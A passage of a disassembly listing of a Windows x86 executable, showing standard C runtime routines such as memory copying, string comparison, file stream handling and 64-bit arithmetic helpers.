loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78C+34p
					; sub_40D78C+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DCFFC
		call	sub_422608
		mov	edx, dword_4DCFFC
		pop	ecx
		mov	ecx, dword_4DCFF8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DCFFC
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DCFF8
		sub	ecx, dword_4DCFFC
		mov	dword_4DCFFC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DCFF8, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DCFF8, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D879+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DCFFC, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DCFFC
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DCFFC
		mov	dword_4DCFF8, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Cp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 279011Eh
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2880000h
		nop
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB9C2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB9C0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB9BE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB9BA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB9B8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB9B0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2870000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB9B8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB9B0, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DBA0C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB958, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B09+19Ep
					; sub_41386C+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416909+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2690EB6h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 26908E1h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB958, 0Dh
		mov	dword_4DB95C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416923+3Fp
					; sub_41A98D+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416923+2Dp
					; sub_41A98D+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A33+5Fp
					; sub_416A33+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
